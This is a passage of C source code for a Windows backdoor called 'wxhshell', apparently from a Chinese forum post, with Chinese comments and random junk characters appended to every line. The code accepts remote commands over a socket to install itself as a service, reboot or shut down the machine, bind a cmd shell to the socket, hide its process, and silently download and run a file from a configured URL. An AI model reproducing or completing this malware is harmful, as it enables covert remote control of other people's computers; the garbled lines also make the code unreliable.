    switch(cmd[0]) { y2^Y/)   
  jWrj?DV,2N  
  // 帮助 ye,>A.  
  case '?': { +8RgF   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p"KFJ  
    break; T: =lz:}I  
  } fSokm4]vg  
  // 安装 E S//  
  case 'i': { XzEc2)0'v  
    if(Install()) s*-n^o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TIQkW,  
    else H<PtAYFS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tg<EY!WY  
    break; vbyH<LPz5  
    } lIW }EM  
  // 卸载 Q|#W#LV,K  
  case 'r': { q!|*oUW  
    if(Uninstall()) & tg&5_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?B2] -+Y  
    else Gz,i~XX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {?:X8&Sf  
    break; 4b98Ks Yg  
    } $\X[@E S0  
  // 显示 wxhshell 所在路径 s T}. v*  
  case 'p': { rustMs2p  
    char svExeFile[MAX_PATH]; }&w Ur>=  
    strcpy(svExeFile,"\n\r"); ^c9t'V`IWQ  
      strcat(svExeFile,ExeFile); CEX " D`  
        send(wsh,svExeFile,strlen(svExeFile),0); +JjW_Rl?=V  
    break; n[lJLm^(_C  
    } ^\4h<M  
  // 重启 {y=j?lD  
  case 'b': { K/IWH[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i OW#>66d  
    if(Boot(REBOOT)) Ab{ K<:l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W04@!_) <  
    else { ahJ`$U4n  
    closesocket(wsh); n>BkTaI  
    ExitThread(0); Uq^#riq  
    } zh8nc%X{  
    break; Y 0d<~*  
    } t gI{`jS%  
  // 关机 ~?d Nd  
  case 'd': { #h` V>;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r]:(Vk]|F  
    if(Boot(SHUTDOWN)) {zQ8)$CQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ChGYTn`X   
    else { au: fw  
    closesocket(wsh); _Xk.p_uh  
    ExitThread(0); -?V-*jI  
    } 5C o  
    break; H[,i{dD  
    } f4 P8Oz  
  // 获取shell I|gB@|_~  
  case 's': { &$`P,i 1)  
    CmdShell(wsh); $u]jy0X<Y;  
    closesocket(wsh); vq(0OPj8r[  
    ExitThread(0); aX)I3^ar  
    break; ,JAx ?Xb  
  } M2OIBH4!  
  // 退出 _>(^tCo  
  case 'x': { =;Rtdy/Yn%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); itBwCIjG  
    CloseIt(wsh); -GhP9; d  
    break; [q?<Qe  
    } 5:Z0Pt  
  // 离开 ;z}i-cNae  
  case 'q': { B +\3-q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  D~S<U  
    closesocket(wsh); ^o3"#r{:+  
    WSACleanup(); YIoQL}pX  
    exit(1); GpY"f c%  
    break; w$zu~/qV2  
        } 6#7Lm) g8  
  } m$}R%  
  } KL1/^1  
\^L`7cBL  
  // 提示信息 8 OY3A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EofymAi%  
} >,gg5<F-E  
  } x@P y>f2  
52:HNA\E/  
  return; :61Tun  
} EMwS1~3dD  
! h"Kq>9 T  
// shell模块句柄 $HHs^tW  
int CmdShell(SOCKET sock) +b0eE)  
{ ~.{/0T  
STARTUPINFO si; G&D7a/G\  
ZeroMemory(&si,sizeof(si)); +)!YrKuu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y"bByd|6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n0r+A^]  
PROCESS_INFORMATION ProcessInfo; [Dk=? +  
char cmdline[]="cmd"; 4|buk]9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >7lx=T x  
  return 0; 60P#,o@G  
} ]R h#g5X  
zMbN;tu  
// 自身启动模式 i UCXAWP  
int StartFromService(void) D!{Y$;  
{ Xe6w|  
typedef struct ~ {E'@MU  
{ wvO|UP H\  
  DWORD ExitStatus; R;s?$;I  
  DWORD PebBaseAddress; l~c@^!  
  DWORD AffinityMask; sGy eb5c  
  DWORD BasePriority; [Y|8\Ph`&  
  ULONG UniqueProcessId; ~ELNyI11  
  ULONG InheritedFromUniqueProcessId; 2`7==?  
}   PROCESS_BASIC_INFORMATION; GPkmf%FJ  
PDJr<E?  
PROCNTQSIP NtQueryInformationProcess; E7t+E)=8  
7!@-*/|!S9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EYtL_hNp}I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 !i$4  
wQqb`l7+  
  HANDLE             hProcess; Isvx7$Vu+  
  PROCESS_BASIC_INFORMATION pbi; 6h|q'.Y  
UtPLI al  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e<3K;Q  
  if(NULL == hInst ) return 0; Lm*e5JnV  
F"&~*m^+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]NUl9t*N4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JlH&??  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K(q+ "  
]$ L|  
  if (!NtQueryInformationProcess) return 0; 'n{Nvt.c  
+c(zo4nZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^T*?>%`  
  if(!hProcess) return 0; ![`Ay4AZ@a  
ykl .1(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rSZd!OQ  
'FqQzx"r  
  CloseHandle(hProcess); i!J8 d"  
o)Iff)m$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SX<` {x&L  
if(hProcess==NULL) return 0; iP =V8g?L  
d74d/l1*{  
HMODULE hMod; 2)G %)'  
char procName[255]; -e_hrCW&9  
unsigned long cbNeeded; 3kw,(-'1  
f[@77m*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XG}C+;4Aw  
D?;"9e%  
  CloseHandle(hProcess); ~Mx!^  
:}5j##N  
if(strstr(procName,"services")) return 1; // 以服务启动 6N!Q:x^4(T  
't1 ax^-g  
  return 0; // 注册表启动 W#^2#sjO  
} 0 t Fkd  
dCE0$3'5  
// 主模块 < vL,*.zd  
int StartWxhshell(LPSTR lpCmdLine) 1;C+$  
{ =Q+;=-1  
  SOCKET wsl; NG--6\  
BOOL val=TRUE; d:#yEC  
  int port=0; _2h S";K  
  struct sockaddr_in door; GC>e26\:  
2Z-ljD&  
  if(wscfg.ws_autoins) Install(); s8ywKTR-  
LgKaPg$  
port=atoi(lpCmdLine); _Tf4WFu2  
\#f <!R4  
if(port<=0) port=wscfg.ws_port; UYk/v]ZA  
K?[q% W]%  
  WSADATA data; /35R u}c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4i6q{BeHn  
u$>4F|=T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RTE8Uq36  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RP~|PtLw_  
  door.sin_family = AF_INET; dYG,_ji  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v'U{/ ,x  
  door.sin_port = htons(port); % 5m/  
qAAX;N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z>XrU>}  
closesocket(wsl); =T -&j60  
return 1; |uX,5Q#6  
} !j:9`XD|  
,I7E[LU  
  if(listen(wsl,2) == INVALID_SOCKET) { mR&H9 NG  
closesocket(wsl); c#|raXGT  
return 1; +aJ>rR  
} x.f]1S7h[  
  Wxhshell(wsl); fI{ESXU  
  WSACleanup(); tasIDoo+!J  
G f,`  
return 0; IEXt:  
}@;ep&b*  
} UELy"z R  
x,rlrxI  
// 以NT服务方式启动 >64P6P;S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q~OxH'>>(  
{ qCljo5Tq'  
DWORD   status = 0; U@HK+C"M|  
  DWORD   specificError = 0xfffffff; v16 JgycM  
n2]/v{E;/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hM;lp1l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ->l%TCHP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R$ q; !  
  serviceStatus.dwWin32ExitCode     = 0; ox(j^x]NC  
  serviceStatus.dwServiceSpecificExitCode = 0; jE}33"  
  serviceStatus.dwCheckPoint       = 0; C1 jHz  
  serviceStatus.dwWaitHint       = 0; /DK"QV!]s  
mzeY%A<0^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bL'aB{s  
  if (hServiceStatusHandle==0) return; #pb92kA'  
e4!:c^?  
status = GetLastError(); X'd9[).  
  if (status!=NO_ERROR) $ {O#  
{ %+j8["VEC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LW[9  
    serviceStatus.dwCheckPoint       = 0; m;'6MHx;  
    serviceStatus.dwWaitHint       = 0; PK{acen  
    serviceStatus.dwWin32ExitCode     = status; jF0jkj1&/[  
    serviceStatus.dwServiceSpecificExitCode = specificError; EH256f(&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gu0j.XS^  
    return; \9cG36  
  } 6G #}Q/  
[Jogt#Fj ]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5_- (<B  
  serviceStatus.dwCheckPoint       = 0; tKuVQH~D  
  serviceStatus.dwWaitHint       = 0; yKa{08X:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z.kvX+7'  
} $}) g?Q  
r[BVvX/,F  
// 处理NT服务事件,比如:启动、停止 *1v[kWa?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q=%RDG+  
{ 9;r)#3Q[^  
switch(fdwControl) [P&7i57  
{ mS^tX i5hg  
case SERVICE_CONTROL_STOP: KVT-P};jy*  
  serviceStatus.dwWin32ExitCode = 0; A/u)# ^\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  f4Xk,1Is  
  serviceStatus.dwCheckPoint   = 0; ?AJKBW^  
  serviceStatus.dwWaitHint     = 0; 7* yzEM  
  { *~t6(v?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4)@mSSfn.  
  } WU quN  
  return; X $ s:>[H  
case SERVICE_CONTROL_PAUSE: t=Xv;=daB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SZ,YS 4M  
  break; E%r k[wI  
case SERVICE_CONTROL_CONTINUE: ;$smH=I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d8[J@M53|T  
  break; L1cI`9  
case SERVICE_CONTROL_INTERROGATE: \P.I)n`8 y  
  break; X~lVVBO  
}; :-/M?,Q"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t .7?  
} \/: {)T~  
Lv| q  
// 标准应用程序主函数 N"]q='t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .NYbi@bk(<  
{ -I&m:A$4*  
a0D%k:k5  
// 获取操作系统版本 D|e uX7b  
OsIsNt=GetOsVer(); k@/sn (x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fh](K'P#^  
,.kha8v  
  // 从命令行安装 CIb2J)qev  
  if(strpbrk(lpCmdLine,"iI")) Install(); ti I.W  
M luVx'  
  // 下载执行文件 :cF[(i/k4  
if(wscfg.ws_downexe) { /atW8 `&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R)QC)U  
  WinExec(wscfg.ws_filenam,SW_HIDE); /ro=?QYb  
} m9.{[K"  
n ~shK<!C  
if(!OsIsNt) { -'t)=YJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 "Y~:|?(@-  
HideProc(); >'&p>Ad)  
StartWxhshell(lpCmdLine); (oEC6F  
} n)^i/ nXb'  
else [8T^@YN  
  if(StartFromService()) XCU7x i$d  
  // 以服务方式启动 w8U&ls1b  
  StartServiceCtrlDispatcher(DispatchTable); 9s6U}a'c  
else G#d{,3Gq1  
  // 普通方式启动 Urr@a/7  
  StartWxhshell(lpCmdLine); >pp5;h8!  
"nw;NIp!  
return 0; W g02 A\  
}
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只看该作者 1 发表于: 2006-10-10
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